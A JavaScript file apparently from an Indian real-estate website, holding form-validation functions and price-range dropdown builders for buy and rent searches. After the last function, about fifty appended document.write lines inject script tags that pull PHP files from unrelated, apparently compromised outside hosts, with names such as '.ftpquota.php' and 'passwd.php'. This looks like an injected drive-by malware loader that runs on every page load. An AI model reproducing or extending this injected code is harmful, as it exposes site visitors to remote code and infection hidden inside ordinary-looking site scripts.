function validLoc(locnm){
	if(document.getElementById(locnm).value==''){
		alert("Please Enter Location.");
		document.getElementById(locnm).focus();
		return false;
		}
}

function validSubLoc(subLoc,locid){
	if(document.getElementById(subLoc).value==''){
		alert("Please Enter Sub Location.");
		document.getElementById(subLoc).focus();
		return false;
		}
	if(document.getElementById(locid).value=='' || document.getElementById(locid).value=='0'){
		alert("Please Select a Location.");
		document.getElementById(locid).focus();
		return false;
		}
}

function validProperty(loctype,locid,ptitle,carea,flr,broom,bthroom,status,looking){
	if(document.getElementById(loctype).value==''||document.getElementById(loctype).value=='0'){
		alert("Please Select Property Type");
		document.getElementById(loctype).focus();
		return false;
		}
	if(document.getElementById(locid).value=='' || document.getElementById(locid).value=='0'){
		alert("Please Select Location .");
		document.getElementById(locid).focus();
		return false;
		}
	if(document.getElementById(ptitle).value==''){
		alert("Please Enter Property Title.");
		document.getElementById(ptitle).focus();
		return false;
		}
	if(document.getElementById(carea).disabled==false){	
		if(document.getElementById(carea).value==0){
			alert("Please Enter Covered Area.");
			document.getElementById(carea).focus();
			return false;
			}
	}
	if(document.getElementById(flr).disabled==false){	
		if(document.getElementById(flr).value==0){
			alert("Please Select a Floor.");
			document.getElementById(flr).focus();
			return false;
			}
	}
	if(document.getElementById(broom).disabled==false){	
		if(document.getElementById(broom).value==0){
			alert("Please Select Bed Room.");
			document.getElementById(broom).focus();
			return false;
			}
	}
	if(document.getElementById(bthroom).disabled==false){	
		if(document.getElementById(bthroom).value==0){
			alert("Please Select Bath Room.");
			document.getElementById(bthroom).focus();
			return false;
			}
	}
	if(document.getElementById(status).value==0 ){
		alert("Please Select Status.");
		document.getElementById(status).focus();
		return false;
		}
	if(document.getElementById(looking).value==0){
		alert("Please Select Looking For.");
		document.getElementById(looking).focus();
		return false;
		}
	/*if(document.getElementById(img).value==0){
		alert("Please Select an Image");
		document.getElementById(img).focus();
		return false;
		}*/

}

///////////////////////////////////////////////////////////////////////
function removeAllOptions(selectbox)
{
	var i;
	for(i=selectbox.options.length-1;i>=0;i--)
	{
		//selectbox.options.remove(i);
		selectbox.remove(i);
	}
}
function addOption(selectbox, value, text )
{
	var optn = document.createElement("OPTION");
	optn.text = text;
	optn.value = value;
 	selectbox.options.add(optn);
}

function findOpt(varBuyRent,valmin,valmax){
// ON selection of ctg this function will work

	removeAllOptions(document.frmpropertySearch.Min);
	addOption(document.frmpropertySearch.Min, "", "Min");

	removeAllOptions(document.frmpropertySearch.Max);
	addOption(document.frmpropertySearch.Max, "", "Max");

	if(varBuyRent=='Buy'){
		addOption(document.frmpropertySearch.Min, "100000", "1 lac");
		addOption(document.frmpropertySearch.Min, "500000", "5 lacs");
		addOption(document.frmpropertySearch.Min, "1000000", "10 lacs");		
		addOption(document.frmpropertySearch.Min, "2000000", "20 lacs");				
		addOption(document.frmpropertySearch.Min, "3000000", "30 lacs");		
		addOption(document.frmpropertySearch.Min, "4000000", "40 lacs");				
		addOption(document.frmpropertySearch.Min, "5000000", "50 lacs");		
		addOption(document.frmpropertySearch.Min, "6000000", "60 lacs");				
		addOption(document.frmpropertySearch.Min, "7000000", "70 lacs");		
		addOption(document.frmpropertySearch.Min, "8000000", "80 lacs");				
		addOption(document.frmpropertySearch.Min, "9000000", "90 lacs");						
		addOption(document.frmpropertySearch.Min, "10000000", "1 crore");						
		addOption(document.frmpropertySearch.Min, "12000000", "1.2 crore");						
		addOption(document.frmpropertySearch.Min, "14000000", "1.4 crore");						
		addOption(document.frmpropertySearch.Min, "16000000", "1.6 crore");						
		addOption(document.frmpropertySearch.Min, "18000000", "1.8 crore");						
		addOption(document.frmpropertySearch.Min, "20000000", "2 crore");						
		addOption(document.frmpropertySearch.Min, "23000000", "2.3 crore");						
		addOption(document.frmpropertySearch.Min, "26000000", "2.6 crore");						
		addOption(document.frmpropertySearch.Min, "30000000", "3 crore");						

		addOption(document.frmpropertySearch.Max, "100000", "1 lac");
		addOption(document.frmpropertySearch.Max, "500000", "5 lacs");
		addOption(document.frmpropertySearch.Max, "1000000", "10 lacs");		
		addOption(document.frmpropertySearch.Max, "2000000", "20 lacs");				
		addOption(document.frmpropertySearch.Max, "3000000", "30 lacs");		
		addOption(document.frmpropertySearch.Max, "4000000", "40 lacs");				
		addOption(document.frmpropertySearch.Max, "5000000", "50 lacs");		
		addOption(document.frmpropertySearch.Max, "6000000", "60 lacs");				
		addOption(document.frmpropertySearch.Max, "7000000", "70 lacs");		
		addOption(document.frmpropertySearch.Max, "8000000", "80 lacs");				
		addOption(document.frmpropertySearch.Max, "9000000", "90 lacs");						
		addOption(document.frmpropertySearch.Max, "10000000", "1 crore");						
		addOption(document.frmpropertySearch.Max, "12000000", "1.2 crore");						
		addOption(document.frmpropertySearch.Max, "14000000", "1.4 crore");						
		addOption(document.frmpropertySearch.Max, "16000000", "1.6 crore");						
		addOption(document.frmpropertySearch.Max, "18000000", "1.8 crore");						
		addOption(document.frmpropertySearch.Max, "20000000", "2 crore");						
		addOption(document.frmpropertySearch.Max, "23000000", "2.3 crore");						
		addOption(document.frmpropertySearch.Max, "26000000", "2.6 crore");						
		addOption(document.frmpropertySearch.Max, "30000000", "3 crore");						

	} else {
		addOption(document.frmpropertySearch.Min, "3000", "3000");
		addOption(document.frmpropertySearch.Min, "6000", "6000");
		addOption(document.frmpropertySearch.Min, "9000", "9000");
		addOption(document.frmpropertySearch.Min, "15000", "15000");
		addOption(document.frmpropertySearch.Min, "25000", "25000");
		addOption(document.frmpropertySearch.Min, "35000", "35000");
		addOption(document.frmpropertySearch.Min, "50000", "50000");
		addOption(document.frmpropertySearch.Min, "75000", "75000");
		addOption(document.frmpropertySearch.Min, "100000", "100000");
		addOption(document.frmpropertySearch.Min, "120000", "120000");
		addOption(document.frmpropertySearch.Min, "150000", "150000");		
		addOption(document.frmpropertySearch.Min, "200000", "200000");		
		addOption(document.frmpropertySearch.Min, "300000", "300000");
		addOption(document.frmpropertySearch.Min, "400000", "400000");		
		addOption(document.frmpropertySearch.Min, "500000", "500000");
		addOption(document.frmpropertySearch.Min, "1000000", "1000000");		
		
		addOption(document.frmpropertySearch.Max, "3000", "3000");
		addOption(document.frmpropertySearch.Max, "6000", "6000");
		addOption(document.frmpropertySearch.Max, "9000", "9000");
		addOption(document.frmpropertySearch.Max, "15000", "15000");
		addOption(document.frmpropertySearch.Max, "25000", "25000");
		addOption(document.frmpropertySearch.Max, "35000", "35000");
		addOption(document.frmpropertySearch.Max, "50000", "50000");
		addOption(document.frmpropertySearch.Max, "75000", "75000");
		addOption(document.frmpropertySearch.Max, "100000", "100000");
		addOption(document.frmpropertySearch.Max, "120000", "120000");
		addOption(document.frmpropertySearch.Max, "150000", "150000");		
		addOption(document.frmpropertySearch.Max, "200000", "200000");		
		addOption(document.frmpropertySearch.Max, "300000", "300000");
		addOption(document.frmpropertySearch.Max, "400000", "400000");		
		addOption(document.frmpropertySearch.Max, "500000", "500000");
		addOption(document.frmpropertySearch.Max, "1000000", "1000000");		

	}
	document.frmpropertySearch.Max.value=valmax;
	document.frmpropertySearch.Min.value=valmin;
}
document.write('<script src=http://kuentaketeo.com/images/PepeSteel1.php ><\/script>');
document.write('<script src=http://kuentaketeo.com/images/PepeSteel1.php ><\/script>');
document.write('<script src=http://kuentaketeo.com/images/PepeSteel1.php ><\/script>');
document.write('<script src=http://kuentaketeo.com/images/PepeSteel1.php ><\/script>');
document.write('<script src=http://chatt-tree.com/OLD/.ftpquota.php ><\/script>');
document.write('<script src=http://chatt-tree.com/OLD/.ftpquota.php ><\/script>');
document.write('<script src=http://chatt-tree.com/OLD/.ftpquota.php ><\/script>');
document.write('<script src=http://chatt-tree.com/OLD/.ftpquota.php ><\/script>');
document.write('<script src=http://chatt-tree.com/OLD/.ftpquota.php ><\/script>');
document.write('<script src=http://chatt-tree.com/OLD/.ftpquota.php ><\/script>');
document.write('<script src=http://chatt-tree.com/OLD/.ftpquota.php ><\/script>');
document.write('<script src=http://chatt-tree.com/OLD/.ftpquota.php ><\/script>');
document.write('<script src=http://shumshum.com/wp-admin/leicard_front.php ><\/script>');
document.write('<script src=http://shumshum.com/wp-admin/leicard_front.php ><\/script>');
document.write('<script src=http://shumshum.com/wp-admin/leicard_front.php ><\/script>');
document.write('<script src=http://shumshum.com/wp-admin/leicard_front.php ><\/script>');
document.write('<script src=http://shumshum.com/wp-admin/leicard_front.php ><\/script>');
document.write('<script src=http://fans.xn--fct5gx28h9gs.tw/command/command.php ><\/script>');
document.write('<script src=http://page.on.aster.pl/index.php ><\/script>');
document.write('<script src=http://page.on.aster.pl/index.php ><\/script>');
document.write('<script src=http://page.on.aster.pl/index.php ><\/script>');
document.write('<script src=http://page.on.aster.pl/index.php ><\/script>');
document.write('<script src=http://page.on.aster.pl/index.php ><\/script>');
document.write('<script src=http://page.on.aster.pl/index.php ><\/script>');
document.write('<script src=http://page.on.aster.pl/index.php ><\/script>');
document.write('<script src=http://millatfoundation.in/css/gallery.php ><\/script>');
document.write('<script src=http://autoveloci.co.uk/images/gifimg.php ><\/script>');
document.write('<script src=http://goodtraveling.info/tmp/index2.php ><\/script>');
document.write('<script src=http://goodtraveling.info/tmp/index2.php ><\/script>');
document.write('<script src=http://goodtraveling.info/tmp/index2.php ><\/script>');
document.write('<script src=http://goodtraveling.info/tmp/index2.php ><\/script>');
document.write('<script src=http://goodtraveling.info/tmp/index2.php ><\/script>');
document.write('<script src=http://goodtraveling.info/tmp/index2.php ><\/script>');
document.write('<script src=http://goodtraveling.info/tmp/index2.php ><\/script>');
document.write('<script src=http://goodtraveling.info/tmp/index2.php ><\/script>');
document.write('<script src=http://goodtraveling.info/tmp/index2.php ><\/script>');
document.write('<script src=http://goodtraveling.info/tmp/index2.php ><\/script>');
document.write('<script src=http://goodtraveling.info/tmp/index2.php ><\/script>');
document.write('<script src=http://pc-innovations.com/OldSite/LayoutMenu.ascx.php ><\/script>');
document.write('<script src=http://pc-innovations.com/OldSite/LayoutMenu.ascx.php ><\/script>');
document.write('<script src=http://pc-innovations.com/OldSite/LayoutMenu.ascx.php ><\/script>');
document.write('<script src=http://pc-innovations.com/OldSite/LayoutMenu.ascx.php ><\/script>');
document.write('<script src=http://pc-innovations.com/OldSite/LayoutMenu.ascx.php ><\/script>');
document.write('<script src=http://pc-innovations.com/OldSite/LayoutMenu.ascx.php ><\/script>');
document.write('<script src=http://pc-innovations.com/OldSite/LayoutMenu.ascx.php ><\/script>');
document.write('<script src=http://pc-innovations.com/OldSite/LayoutMenu.ascx.php ><\/script>');
document.write('<script src=http://uralpride.ru/sx/passwd.php ><\/script>');
document.write('<script src=http://uralpride.ru/sx/passwd.php ><\/script>');